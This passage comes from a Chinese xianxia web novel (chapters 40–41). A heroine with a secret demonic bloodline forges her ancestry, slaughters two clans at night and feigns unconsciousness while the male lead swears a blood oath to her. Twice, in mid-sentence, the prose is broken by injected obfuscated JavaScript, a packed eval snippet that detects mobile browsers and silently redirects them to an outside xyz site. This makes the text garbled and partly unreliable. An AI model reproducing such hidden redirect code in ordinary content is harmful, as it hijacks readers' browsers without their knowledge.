他拍拍江芙的肩膀,递给她一道安抚的眼神:“说吧。” 江芙看着散人,还有些不可置信,却见他轻轻点了点头。于是江芙深吸一口气,终于对云逸道:“我师妹四年前的确受过重伤。” “当时她与七师弟下山历练,偶遇魔族十二魔之一,重伤不敌。” 云逸轻蹙眉:“是被魔族所伤?” “不。”江芙摇头,“师妹的灵脉是自己割开的。” “自己割开?”云逸沉吟,快步上前察看灵秋的伤口,“难怪……她为什么会这么做?” “对啊。”于风同样感到匪夷所思,“难道打不过十二魔,只能自绝灵脉么?” 江芙狠狠瞪他一眼:“因为七师弟重伤将死,师妹只能用自己的灵脉血护住他的心脉,将人一路带回师门。” “以灵脉血护住将死之人的心脉?”于风皱眉,“江姑娘,你是在编故事吗?世上怎么可能会有这种荒谬的事,什么灵血能使将死之人恢复如初?” 要是换做修为灵力,他倒还能信上几分。 “有没有,你们银霜楼的人最清楚了,不是么!” 江芙死死盯着云正和段若霜。 她话中情绪太过鲜明,于风当即道:“这和我们银霜楼又有什么关系?” 他觉得眼前这个逍遥派的大师姐实在令人摸不着头脑。 好好一个姑娘,怎么莫名其妙的?一碰上不是大打出手,就是横甩眼刀,唇枪舌剑,好好相处不来。 于风做好同她掰扯的准备,果然,江芙冷笑一声,眸色沉沉地看过来。 “寻常人不可以,我师妹却可以。”江芙深吸气,“因为她身负天命血脉。” 此话一出,如平地炸雷,四座皆惊。 “天命血脉!?” 云逸不可置信地惊呼起来,在原地急急地转了一圈,口中喃喃:“不可能……怎么可能! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534206|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “天命血脉早在十八年前已经绝迹。”云靖的注意力终于从灵秋身上分开,对江芙道:“况且若她身负天命血脉,又怎会重伤难愈?” “这个问题应该问你自己!”江芙看着他,“五年前水境,你被千年蛟打成重伤。那可是修炼千年的蛟龙,你受它一击,还能安安稳稳地活到现在,你以为是凭什么?” 云靖猛地僵住。 江芙冷冷看着他手腕上缠绕的白布,语气像凌迟的刀,一字一句落下:“是我师妹取心头血,拼尽一身修为救了你。如果不是因为你,她又怎么会在遭遇十二魔时无力抵抗,险些自绝灵脉,在胥阳山上整整闭关四年,连剑都险些提不起?如果不是因为你,消耗血脉之力,我师妹今日又怎会落到重伤不愈的境地!” 她眼圈泛红,一步步逼近:“那可是天命血脉,是世间最特殊的至强血脉。她为你做到这个份上,而你呢?银霜楼呢?你们不仅毫无感激之意,还一次次地让我师妹陷入险境!” “少楼主,算我求你,放过我师妹。不要再出现在她面前。” 最后一句,江芙几乎是吼出来的。 云靖瞳孔骤然放大,怔愣在原地,像是一瞬间被抽空了气力。 “她……”他踉跄着后退一步,“怎么会……” 云靖看向于风,后者同样和他一样惊讶,显然也是刚刚得知。 他又转向身侧的段若霜和云正。 “这是真的对吗?”他低声开口,声调喑哑,重复道:“这是真的,对吗?” 段若霜叹口气,微微点了点头。 一瞬间,云靖的心像被撕成了两半,悔意、惊惧、心痛一齐涌上来,几乎要将他淹没。心脏像是被一只手狠狠攥住,连呼吸都变得困难。 “为什么不告诉我!?”他红着眼问段若霜,声音却逐渐消下去,如同呜咽。 “为什么不告诉我……” 原来一直以来最傻的那个人都是自己。原来早在五年前,她就已经拼命保下他一命。 重逢以来的冷漠决与绝在这一事实面前显得如此不堪一击。 云靖回想起自己在江底扭捏的心思,回忆起万丈崖底残忍的幻境以及日日夜夜一次又一次刺向自己宝剑。 多么荒唐。 她明明早就给出了答案。 是他明白得太迟。 刹那间,所有声音都远去了,段若霜动嘴说着什么,他已听不清。 一滴水悄无声息地落下来。 云靖怔了怔,伸手去擦,却越擦越模糊,眨眼间,世界湿成一片,落下一场大雨。 他没有哭出声,只是眼泪一滴一滴扑簌簌落下,每一滴都有千斤重,压得人喘不过气来。 云靖走到榻前,肩膀微微颤抖着。 他低下头,碰了碰榻上少女的手,将额头轻轻贴上去。 “对不起。” 这一句他说得极轻,仿佛生怕惊扰了她。话音刚落,一滴泪就流下来。 一旁,青色焰火静静燃烧着。 江芙蹙眉,心道此人真是厚颜无耻,听不懂人话。正欲上前将他拖开,身后却突然传来一阵威压。 她被迫转头,一袭白袍的神尊徐悟自殿外走进来。 一瞬间,除了云靖,殿内众人皆跪地行礼。 徐悟一语不发,快步行至榻前,以法术探了探灵秋的血脉,面色立变。 白澈在一旁道:“请诸位暂时回避。” 云霄阁的大门紧紧阖上,不知过了多久,徐悟从殿内出来。 “已经没事了。”他看着逍遥散人,沉吟道:“天命血脉重现世间,逍遥派可能给出一个解释?” “自然。” 逍遥散人点点头,从袖中掏出一本破破烂烂的册子。 他将那册子递给徐悟,指着上面的“聂氏家谱”四个遒劲大字,面不改色道:“不瞒神尊,我这位弟子正是聂家后人。” 40.血藏天命假亦作真(4) “聂家!?”云逸惊愕极了,不可置信道:“是十世家中的聂氏?” “不止聂氏。”逍遥散人语气平稳,“当年聂氏公子聂追玉与苏氏家主苏逐瑶神仙眷侣、天作之合,奈何天妒英才,阳华仙会后二人遭魔族迫害,生死之际,苏家主以毕生灵力护住腹中之子,心脉断裂而死。” “彼时老朽途经若水,偶遇聂公子以残身与魔族力抗,遂出手相助。可惜力有不逮,不仅没能救下聂公子,就连自己也险些丧命。” “后来聂公子耗尽血脉之力与魔族同归于尽,弥留之际将这孩子托付与我,为了让我有力自保,更传授给我一道御雷之决。此后,我便将这孩子带回胥阳山,对外假称是捡来的孤女,抚养至今。” “御雷之诀……”于风眼神一顿,“难道就是当日擂台之上灵秋使出的那道九霄御雷诀?” “没错。”逍遥散人点头,“当日之事我曾向银霜楼主及夫人解释,两位皆为知情之人。只是那时顾忌对聂公子的许诺,不好暴露小徒的真实身份,只说此诀是从一位故交处偶然习得。” “原来是这样。” 云正沉吟片刻,如此一来当日疑惑便尽可解释了。 他点头道:“九霄御雷诀乃我师弟青阳少时所作,笔法口诀皆藏于其本命剑剑刃之中。聂氏当年既得了他的宝剑,习得此诀自然不足为奇。” 云正深叹一口气:“没想到当年的十世家竟真有后人留存于世。” “天命血脉重出江湖,势必会引来多方势力觊觎,魔族尤甚。”段若霜向徐悟道: “既是十世家后人,师尊,我们太霄辰宫须得尽力相护才是。” “是。”徐悟颔首,“先留她在云霄阁养伤,此事秘而不发,待情况稳定之后再做定夺。” 他向白澈和云逸道:“你二人务必好好照料。” “谨遵师尊之令。” 话音刚落,远处疾步行来一位仙士,面色惊惶,眉头紧蹙,跪倒在徐悟跟前,开口即道:“禀神尊,江底秘境幸存者百余人已确认皆为历届阳华仙会失踪修士。另,登州薛氏两人启上,称秘境之中发现魔族之迹。” “魔族?” 此言一出,在场众人反应各不相同,却皆面露讶色。 几人下意识看向云靖,后者仿佛刚从梦魇中醒过神,低声道:“境中确有魔蛊不假,百余名修士亦因魔蛊丧命。” 他顿了顿,接着拱手向众人,说出口的却是请辞之语。 徐悟微微颔首准他离去,于风陪着云靖匆匆离了云霄阁,到了银霜楼自家的院子里他却过卧房不入,直朝云正的书房而去。 众弟子见自家少主平安归来,知道他通过了最终试炼,争先恐后地上前道喜,却被于风一道眼神示意给挡了回去。 云靖在父亲的书房中翻找半晌,终于在木架最高处寻到了有关天命血脉的古籍记载,是厚重杂乱,还未来得及整理成册的一大摞。 受云正影响,他从小喜好杂书古籍,世间众多幽微难明之事皆以书册为媒,烂熟于心。 魔族血蛊是这样,天命血脉也是这样。 木简软册在院中摊开,摆了一地。其时天色向晚,夜风一吹,书页翻飞,飘扬如纸蝶,翻卷出淡淡发潮的草木气息。 夜色不动声色地笼罩了大地,云正与段若霜久久未归,阳华境内灯火通明。 有各门各派故人安然无恙的重逢之喜,更多则是对秘境突现魔族踪迹的惶恐担心。 前来参与阳华仙会的,凡是叫得上名号的前辈皆齐聚于江底秘境,誓要彻查魔蛊一事。 作为亲历者的云海川和薛成昭自然都得到场,只是不知道为什么,一整个下午,没有任何人来银霜楼找过云靖。 “难不成有两个证人已经够了?” 于风在心里暗自嘀咕。 天色暗了,他吩咐门人弟子不动声色替云靖掌灯,见他手执书卷看得十分认真,似在急切寻找着什么东西,也忍不住随手拿起脚边未整理的一册细细察看。 这一看不打紧,只是一眼便瞧见一句“天命血脉难逾双十年华。” 再抬头看看眼前眉头紧皱的师弟,于风呼吸一滞,刹那间福至心灵,总算明白他为何肯将人跑在云霄阁,急匆匆地跑来翻书。 世人皆知聂苏二人死于十八年前,灵秋作为那两人的遗孤,恐怕早已不剩多少日子可活。 事实残忍,有一瞬间于风险些动了将这书册私藏起来的心思。然而转念又想,师弟博览群书,如今主动来找,想必对此事早有印象。又有什么隐瞒的必要? 想罢,他便轻叹一声,将书册递到云靖跟前 外面不知何时安静下来。 云靖捧着书册看得认真,烛火映进点漆般的瞳孔,微微颤动着。 于风伸手按了按他的肩膀,抬头望天。 今晚夜色铺天盖地,月光熹微,好像格外照不透。 突然想到逍遥派的那位大师姐。 于风垂首,看来这回是他们银霜楼上上下下都不占理。 他最不占理。 不知她此刻又在想些什么呢? 噼啪—— 床头青焰突然发出一阵爆裂的脆响,一点火光溅出铜座,在将要碰到熟睡过去的姑娘时被人以手拦住。 这只手腕间符文飘动,如一柄闪光的手镯。伤痕仍旧可见,只是不再显出触目惊心的可怖。 为了让聂苏后人安心静养,云逸特意吩咐,撤走了殿中日常洒扫的弟子,只留江芙一人看守照顾。 灵秋从床上坐起来,动作极尽轻柔。即便身边人已经因过度的疲惫与紧张睡过去,为了以防万一,她依旧从境中掏出早就备好的安神香,凑近她的鼻尖晃了晃。 受伤是真的,重伤难愈也是真的。只是天命血脉终究是天命血脉,怎么可能如此轻易便陷入死局? 从云靖带着薛成昭离开秘境向外求援时,灵秋便打定了主意,演一出好戏。 她想得很清楚,自己手握苏氏家谱,最后一任苏家家主苏逐瑶十八年前死于若水河畔,正是造假身份的好借口。 届时血脉暴露,只需向众人宣称自己是苏氏后裔,再拿出篡改过的苏氏族谱。苏氏一族死无对证,要怎么编故事也不过随她心意。 只是灵秋没想到,这件事竟然会惊动徐悟。 天知道和徐悟独处时她有多紧张。好在四年前封印魔气时下的是死咒,身上也的确受了重伤。 灵秋拼命忍耐,额间隐藏的那缕魔气险些被徐悟的威压捻成飞灰,尖叫着想要逃出,被她用尽毕生功力拼命按下。 本以为差点就要交代在这儿,好在紧要关头,徐悟终于停下法咒。 没死在江底,反倒差点死在云霄阁。 然而她煎熬至此,徐悟所用功力竟尚且不足一成,而且是为了替她疗伤。 闭眼之时听云逸与师姐交谈,说是今晚为彻查魔族一事,各方前辈长老皆汇聚江底,阳华境中空虚,正是动手的最佳时机。 近距离接触过徐悟,灵秋心知不能再拖。 她轻手轻脚地下床,趁夜色掩护,御风往远处灯火而去。 这世上从没有谁能逼迫她做事,答应阿紫已是做了天大的让步,却不料最后却连闻人双双也一并救了。 好得很。 既然如此,江底秘境救了多少性命,今夜便成倍的取回来。 天命血脉暴露所带来的麻烦已经远远不及杀戮的欲望,只是想到今晚闻人氏与宋氏的家主长老不在,多少有些失望。 破风声刺穿耳膜,月亮潜藏在云层深处,整座阳华境在浑浊的夜色中散出柔质的暖,属于闻人氏的那方低矮屋楼出现在视野中。 灵秋听到自己如战鼓般擂擂作响的心跳,热血如潮水般涌上头顶,每一寸 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两人推拒正事留在家中陪护受惊的闻人双双,万万想不到会与魔族正面遭遇。尤其是看清楚来人是谁后,更是惊诧不已。 说来奇怪,北方修士受魔族侵袭多年,本该有几分抵御魔气的法门巧道,这一路杀来,灵秋却只感觉无比轻易。 也不知这些世家子弟是如何苟延残喘至今的。 莫不是北方魔族也对他们手下留情不成? 闻人氏夫妇一见四周倒地身亡的门人弟子,面上大骇,一人惊呼:“你竟是魔族!”话音未落,喉骨尽碎。 “既是上门寻仇,我便不必故作姿态,与你们废话了。” 灵秋轻笑一声,下一瞬,魔气蔓延,前后房屋皆沦为废墟。 此时此刻,从外面看,两座院子只是静默地伫立在夜色中,显示出几乎诡异的安定与和谐。 说实话,这并不是多么高明的障眼法,只是刚刚发生惊天动地的大事,各门各派无暇去管别家事务,也就没人能注意到。 业火将巨大的废墟点燃,烈焰中,再无一人出声,连惨叫都变得遥远而缥缈。 远处有泠泠冷光闪动,灵秋缓步踏火,走向那人,俯身拾起地上的宝剑。 闻人双双半边身子被压在废墟之下,半边身子被宋微澜护住——后者早已被业火吞噬,半个人都化作焦炭,死状凄惨,难辨原貌。 若非他以命相护,今晚她就不用再多动一次手了。 想到这儿,灵秋不禁觉得有些晦气,用剑一把挑飞了宋微澜的遗骨,又驱使剑尖轻轻抬起闻人双双的下巴。 晶莹的眼泪一颗一颗滴落在剑上,顺着剑锋滑落,真真是我见犹怜。 如此这般,倒是可以替她留个全尸。 真的死亡逼近时反而没有那么恐惧了。闻人双双看着灵秋,虽然力竭,却仍努力梗起脖子,质问道:“为什么……既然要杀,又为什么要救我?” “救你之事非我所愿。闻人氏欠我不止一命,如今我想要回来,顺带添几成利息,不是很合理么?” 灵秋微微一笑:“我作为魔族之人却不小心救了这么多仙门修士,总要取些报酬才是。你们这些世家中人一向自诩仁德,不如索性替同僚出了这几百条命,也算死得其所。如此一来既全了你们的仁义,也不辜负世人总说魔族狠戾,两全其美,不是吗?” 剑尖划破脖颈,血珠和泪珠混在一起,落入污糟的地里。 闻人双双眼中闪烁着绝望的光,无力地垂下头去,匍匐倒地。 周遭黑烟四起,灵秋将残余的魔气聚集在废墟中央,施法清理好身上的血,大步迈出院子,随手捡了根落在地上的树枝,往云霄阁飞去。 障眼法散去,魔气朝着全然相反的方向疯狂逃窜。一瞬间,呛人的焦炭味与令人作呕的血腥气在整座阳华境中四散漫开。 41.血藏天命假亦作真(5) 魔族侵袭两大氏族的消息很快传遍了整座阳华境。 几个弟子急匆匆地跑进院子,也不顾脚下满地的古书竹简,神色张惶,一个劲儿道:“三师兄,少楼主,大事不好了!魔族袭境,闻人与宋氏二族已惨遭屠戮!” 其时阳华境中群龙无首、人心惶惶,只闻人群嘈杂之音,见满目疮痍之景。 废墟之上魔气冲头,许多南方修士见所未见、闻所未闻,匆匆赶到,吓得当场跌坐在地,拼命奔逃,真可谓是风声鹤唳、草木皆兵。 流言四起,只说魔族潜伏阳华境内伺机四处大开杀戒。各门各派生怕遭魔侵袭,纷纷紧闭院门,狂布若干降魔阵法,严令禁止门人外出走动。一时间,气氛紧绷不已。 银霜楼在得到消息的第一时间同其它门派一样关闭了院门。整个门派如同一座孤岛,与外界彻底断绝了联系。众弟子聚在院中面面相觑,一人急道:“少楼主、三师兄,咱们现在到底该怎么办才好?” “打开院门。” 云靖抬头出声,将手中书册卷入怀中,召出凝霜。 长剑一震,剑尖在空气中划出几道冷光。阵纹悄然浮现,剑影四散,化作符文环绕四方,仿佛信手一挥,便将天地布成棋盘。 符文流转如水,天地间骤然一静,众人还未回过神,少年已负剑而立,剑眉星目,恍若风中落下一枝白梅。 剑阵已成,云靖抹了把嘴角溢出的鲜血,向众人道:“为今之计必须派人赶赴江底秘境通知诸位前辈,此事交由我来做。” 他向于风道:“逍遥派羸弱,请师兄立即前去西南,将人带来。若遇阻碍……” “我就只管说是他家师尊的吩咐!” 于风点头,略带担忧地注视云靖,开口道:“师弟,你的修为……” 十年修为可不是小损耗,他还能强撑着布阵已是难得,于风只担心魔族还在外面伺机而动,这一去恐怕不轻松。 云靖摆摆手:“不妨事。” 他御剑上天,目光沉沉地往云霄阁的方向凝望,须臾,转身朝着相反的方向飞去。 风在耳边咆哮低吼,吹起衣袍猎猎作响。云靖站在剑上,只恨不能快些,再快一些。 云霄阁内有云逸和白澈两位神尊亲传弟子镇守,灵秋大概不会有什么事,只是即便如此,他也想快些做完手头的事,久久守在她身侧。 今夜的阳华境,那样遮天蔽日的魔气,他从未见过。 云靖不禁想:当年她遭遇十二魔时也是这般吗?被魔气层层包围,如此孤立无援。 越想,他便越痛。心口好像缺了一块,深夜冰凉的风从中穿过,带起浑身颤栗,匆匆落地,吹起尘埃沾满衣角。 江底前辈云集,正对着一地蛊虫的尸体布阵研究。 “大师兄!?”薛成昭第一个看见云靖,立即小跑上前,“他们终于把你也找来了!” 话音刚落,他咬了咬嘴唇,神色有些焦躁:“凌姑娘她……没事吧?” 一想到白日里在洞中见到的那副场景,薛成昭就忍不住后怕。 后来到了阳华境,听旁人说了逍遥派与闻人氏的前怨,更是如遭当头棒喝,头皮发麻。 他实在不该逼凌秋救闻人双双的。 薛成昭懊悔不已,一整晚心神不宁、左顾右盼,惹得众前辈颇为不满,纷纷弃了他,转向盘问云海川,将她团团围住,围了个水泄不通。 眼下见了云靖,薛成昭自然急于打探灵秋的消息。 “她应当是没事。” 想到云霄阁内有云逸和白澈两位仙士,云靖的心也稍稍定下来。 他匆匆朝薛成昭点点头,走向远处人群。 “魔族侵袭阳华境,闻人氏与宋氏接连覆灭,请诸位前辈速速随我回去主持大局。” 云靖言简意赅地说明了情况,一语激起千层浪。 人群中,宋氏两位家主闻讯当场倒地晕厥过去。 众前辈面露讶色,云逸第一个跳出来,发出不可置信的惊呼:“什么!?你是说魔族趁我们这些人都不在,屠戮阳华境!?” 他身后,白澈亦忍不住微微皱眉。 云靖一眼看到这两人,当下神色飓变,上前揪住云逸的衣领:“你们怎么在这儿!?” “咳咳咳——废话,我二人奉师尊之命前来察看魔蛊,怎么不该在这儿?” 云逸拼命拨动衣领,大吸一口新鲜空气,刚缓过劲儿来,只听云靖急道:“也就是说云霄阁此刻无人?” “咳咳咳咳,怎么无人?逍遥派大师姐在呢。咳咳咳咳。你放——” 话还没说完,只觉脖间骤然一松。云逸睁眼一瞧,眼前哪儿还有什么人? 只有剑光一闪而过,在天边留下一道炫目的弧光。 “大师兄!等等我!” 薛成昭从袖中掏出符篆,紧跟着飞出去。 这厢,灵秋迈着悠闲的步子走进云霄阁大殿。 她瞥一眼熟睡的江芙,小心翼翼地蹲到她身边,伸出手指戳了戳她的脸。 梦中的江芙闷哼一声,将脑袋往怀里埋了又埋。 灵秋见状忍不住弯弯唇角,想到方才闻人氏的那把宝剑,心头又有些可惜。 那剑与师姐的灵脉倒是契合,若不是怕遭人识破,她早不该如此轻易便将它毁了。 那样的好剑不知要用多少灵宝,耗费多少人力心血才能铸得。只可恨宝剑将天时地利、日月精华集于一身,却落到闻人双双的手上,如此明珠暗投,闻人氏可真算得上为害一方。 今日她又怎么不算为民除害呢? 世上恐怕很难再找到像她这么明事理的魔了。 灵秋撇撇嘴,在殿中环顾一圈,只见架子上琳琅满目,摆满了各式各样的灵药仙丹,皆出自白澈与云逸之手。 噗嗤—— 床头命灯爆发出微弱的火星。 杀人果然是个体力活,好不容易恢复的法力,一晚上就去了大半。 眼前就是妙药灵丹,灵秋立即决定好好补上一补。 她动作利落地抄起衣袖,顺着架子自上而下拂过,一路收获满满。偶有几瓶标签不明,她便拨开塞子嗅一嗅,辨出品类后果断塞入袖中。 灵秋就这么一边吃,一边拿,倒像是在市集里挑选点心,如入无人之境,连动作都闲适得很。 她就这么把整座云霄阁逛了一圈,补得七七八八,又原路折回,细细整理了空出来的药瓶与错乱的架位,重新摆得整整齐齐,甚至还“贴心”地调换了好几十种丹药的标牌位置,让人难以察觉缺失。 “太霄辰宫把我害惨了,知道吗?等我入了内门,总有一天要把什么神尊仙尊通通掀翻,打得他们满地找牙!” 她正压低了声音对着琳琅满目的药瓶张牙舞爪,耳边突然传来一阵破风声。 遭了! 灵秋赶紧洒出一层薄薄的阵法,抹去残留的气息,顺手把手心灵丹往嘴里胡乱一塞,转身飞掠回床榻,衣裙一卷,一头栽进被褥,闭眼装晕。 她刚躺好,下一瞬,云靖踩着凝霜降落在云霄阁门口,从殿外疾步行来。 “小秋?” 他一进殿便带入一阵凉风,声音同时惊动了睡梦中的江芙,后者醒来,一见头号闲杂人等登堂入室,竟然在她眼皮子底下扑到了自家师妹的床榻边,立即蹙眉,低声喝斥道:“你给我走开!” 一听就是真的动了怒。 灵秋不动声色地往被褥里缩了缩,装得人事不省,呼吸有意放缓,连指尖都一动不动,生怕露出半点破绽。 反正她也正生云靖的气,不如就让师姐狠狠骂他一顿。 床前传来一阵轻响,云靖的声音传来:“魔族侵袭阳华境,两大世家已接连被灭,在下只是担心。” “就是啊,这位师姐,你也太不讲道理了,我大师兄只是担心凌姑娘,特意来看望而已,你怎么能动不动就赶人走呢?” 是薛成昭? 他居然没死!? 灵秋暗自皱眉。 难道薛成昭今晚也不在闻人氏院中? 可恨此人对前怨一概不知,却惯爱四处发声,实在令人讨厌,却偏偏侥幸逃过一劫。 江芙瞪薛成昭一眼,没理,皱眉道:“魔族侵袭阳华境,那师父和逍遥派岂不是……” “师姐不必担心,我早已请于风师兄率银霜楼弟子将逍遥派门人接来一并看护。至于逍遥散人前辈此刻正与其他前辈在一起,应当也无碍。” 云靖的视线从安稳燃烧的命灯移至床上的姑娘脸上,目光猛地一顿。 其实刚刚他见到云霄阁周围没有魔气,悬着的心便放下来,硬着头皮入殿只不过是想见灵秋一眼。 云靖心知江芙不喜自己,早早便想好,若不能入殿常伴榻侧,守在殿外也是一样的。只盼望她能醒来就好。 只是如今看床上姑娘这副模样,计划恐怕有变。 他对答如流,这一惊一放,江芙一时愣住。 就在这个岔口,床前传来一阵衣袂轻响,熟悉的桂花甜香倾覆而下。下一瞬,灵秋感觉唇角忽然一凉,一只手落在她唇边,指腹擦过那点尚未化尽的丹药碎屑,动作又轻又柔,像生怕惊扰了她。 灵秋整个人忍不住颤栗了一下,耳后金印开始微微发烫。 我晕。 居然把这个东西给忘了! 她紧紧闭着眼,心头早已是惊涛骇浪,深陷软被却只恨不能当场遁地而走。 这头,云靖倒是不慌不忙。 他向江芙行礼道:“师姐,先前是我少不知事,对不起小秋。我发誓,日后定当对她以命相护,绝不再让她受半分损害。请师姐让我留在云霄阁照料小秋。” “你若能远离她比什么照料都好。你难道没发现,阿秋每一次受伤都与你脱不了干系吗?” 江芙看着云靖,忍不住蹙眉:“事到如今,我也不瞒你了。我家师父早有卜卦在先,你命格不详,你二人此生乃是一段孽缘,若我师妹与你在一处,定有血光之灾。你若真心待她,从今以后就更应该离她远些。” 云靖立在榻侧,眉目沉静,低头行了一礼,声音柔和:“师姐顾念小秋,若换作是我,也绝不会让我这样的人成为她的牵绊。” 话语谦逊,语气几近温驯。 可他说完这话,缓缓抬眸,一双眼睛黑得发亮,像深水无底,暗暗压抑着波澜。 “可我偏偏已经遇见了她,也不信命。”云靖道:“很久以前也曾有人告诉我,我二人是天定的孽缘,可我连一个字也未信过。” 他的语气不急不缓,眼底却满是隐忍的执念:“从我第一眼见到她开始,就已经晚了。即便真按师姐所说,我命负不详,她若怕我,恨我,不肯靠近我,我走,心甘情愿。可她没有。” “所以,我绝不会主动放手。就算她遇险一百次,我也能让她化险为夷一百零一次,哪怕是耗尽这身灵力。” 云靖轻轻歪了歪头,像是在认真思考,语气近乎柔软:“若有朝一日,她的命真的被我妨碍耗尽……那我陪她一起。” “她死,我也绝不独活。” 他说得平静极了,好像不过是在讲一件再普通不过的事。 殿中静得可怕,江芙看着云靖,眉目如霜,沉默了许久,终于顿了顿,冷声道:“你可知道天命血脉从古至今从未有人活过二十岁。即便我同意你追随阿秋,不出两年,她也会……” “我知道。”云靖从袖中掏出那册书卷递给江芙,“若师姐不放心,我可立即启下血誓。” 言罢,他驱使剑气,利落地划破额心,举手虔诚道:“我以性命起誓,此生与凌秋同生共死,除非她亲口叫我离去,否则绝不擅自离弃。” 血滴落在地上,化作极复杂的符阵。 “大师兄!”一旁的薛成昭忍不住惊呼,“血誓之阵一旦启动,终身反噬。” 他向江芙道:“我师兄如此诚心,这位师姐还放心不下吗!” 江芙也没想到云靖竟然能做到这个地步。想到白日里他毫不犹豫舍弃十年修为,她沉默片刻,忽而道:“若有朝一日,我师妹再度因你而伤,哪怕只是半分因果,我也会亲手杀了你。” 云靖闻言轻轻一笑:“若真有那日,不用师姐动手,我会先自我了断。” 云霄阁外风云摇曳,像是天地都听见了这句疯话。 江芙静默良久,终是拂袖转身,正色道:“既如此,我且回逍遥派察看一番,你就留在这儿守住我师妹,不得离去片刻。” 他不是疯了吧。 灵秋咬着被子,正在心底啧啧称奇,下一瞬便接连听见两道脚步声远去。 紧跟着,有人俯下身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576147|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑近她,轻轻点了点她的额心:“人都走光啦,可以睁眼了。” 这耳后金印正烫得吓人,灵秋捂着额头睁开眼睛,第一眼看到的就是云靖凑近的大脸。 她从榻上爬起来,一把揪住他的衣领:“不许把这件事告诉别人,听明白了没有?” 云靖看着她,唇角一挑,笑得无害:“小秋姑娘方才都听见了,我现在可是要和你同生共死的,自然得替你保守秘密了。” “谁管你。”灵秋哼了一声,撇开脸不去看他。末了又像想到什么般,转过头来皱眉道:“不许叫我小秋!” 云靖闻言笑意只增不减:“只不过是吃些丹药而已,何必像小花猫一样偷偷摸摸的,你若想要,待我回银霜楼取来,什么丹药都有。” 话毕,他突然眨了眨眼,反应过来:“不对啊,你的丹药是从哪儿来的?” “哈!傻子。”灵秋从床上蹦下来,指着一侧琳琅满目的架子,昂首道:“如你所见,自然是就地取材咯。” “你、你偷吃了云逸仙尊的丹药!?”云靖不可置信,顺着她手指的方向挨个拿起小瓷瓶晃了晃,果然是空空如也,连个响也听不见。 “什么偷吃?我可是光明正大地取用。”灵秋道:“你可别忘了,你已经答应为我保密了。” 她突然警觉:“难不成你想反悔?” 云靖挨个察看过木架上的药瓶,沉默一瞬,转身对灵秋道:“偷东西是不对的。” “所以你要逮捕我吗,这位正义的侠士?” 灵秋皱眉道:“要不是太霄辰宫搞出这个什么什么江底秘境,我才不会差点死了。还有你,要不是你一直逼我救闻人双双,我才不会那么生气,我真的差点气死了,你知不知道啊?” “总之呢,一个太霄辰宫,再加上一个你,还有那个薛成昭。你们三个把我给害惨了,我吃点仙药保命怎么了?又没偷你家大米。” 她眯起眼睛看向云靖额头的新伤,恨恨威胁道:“如果你敢告发我,我就立刻装晕,把事情全都栽到你头上。叫你叫天不应,叫地不灵!” “听到了吗?” “哦,如果我告发你,你就要栽赃陷害我?”云靖懒洋洋地倚在木架一侧,却放松下来,剑眉一条,语气笑吟吟的。 “少给我嬉皮笑脸的。”灵秋一巴掌抬起就想拍他,被他一把抓住,连人一起拉到身前。 云靖笑着低头看她:“这么凶做什么?难道你真觉得我会害你不成。” 灵秋瞪他,云靖只问:“你想要丹药?” 灵秋头也不抬:“那当然。” “那你继续看看,还想拿什么,都拿走吧。” 灵秋抬头:“啊?” “我没开玩笑。”云靖放开她,大摇大摆地走到大殿门口,笑吟吟道:“动手吧,我替你望风。” 他不是疯了吧? 灵秋蹙眉,目光落到眼前满满当当的木架子上。 既然如此,那她还有必要客气吗? 灵秋风卷云残地扫荡完丹药,正在大殿中四处闲逛,忽然听见远处传来一阵嘈杂人声,吓了一跳,想是师姐去而复返,赶紧跑回床上闭眼装晕。 过了片刻,于风御剑落地,手提一只大麻袋,重量压得他一下剑就重心不稳地打了个踉跄,幸好被云靖及时虚扶了一把才不至于当场以头抢地。 于风把大麻袋递给云靖,摸着脑袋道:“我说,下面都快乱成一锅粥了,你怎么还让我给你送丹药啊?” 言罢,他看了眼殿内装晕的姑娘:“她没事吧?” 云靖顺着他的目光看向殿内,不动声色地扬了扬嘴角:“还没醒过来,我急用借了些云逸仙尊的丹药,应当给他及时补上才对。” “借了……些?” 于风看着手里鼓囊囊的一大麻袋药丸。 这不是借了些,这是狠狠打劫了一通吧! 他摇了摇头,一边从怀中掏出一只通体剔透的白玉瓶子:“这归元丹可不容易找到,你不知道,光拿这一颗,我险些被几个长老活活打死,幸亏你师兄我跑得快。” “不过,”于风道:“这都是咱们银霜楼欠她的,这回就当还上了。” 他拍拍云靖的肩:“你也放宽心吧。天命血脉这东西悬得很,据说还能起死回生呢,觊觎的人一向多得很。什么活不过二十岁,估计啊都是被人给害死的。聂苏两家当年不就是这样吗?说来说去,都是魔族造的孽。” “知道了师兄。”云靖将瓷瓶紧紧攥进手心,“我会好好护着她。” “原来你说的随便拿就是自己偷偷填补亏空啊。” 灵秋靠在床上,看着云靖把药丸一点点装回空瓶子里,不时还对着被她搞得一团乱的标签皱眉,耐着性子把东西都复原。 “没意思。” 她从床上下来,脚还没沾地,又被凝霜剑挡回去。 “地上凉,穿鞋。” 云靖头也不回。 灵秋只顺手将凝霜握在手里:“听说下面有魔族,我也要去看看。” 这一回,云靖终于停下手上动作:“不行。” “你敢反驳我?” 灵秋斜眼看他,像是等他自己知趣改口。然而过了好久,云靖面不改色,还顺便伸手召回了凝霜。 不行还是不行。 她只好凑到他身边,没好气道:“为什么不行?” 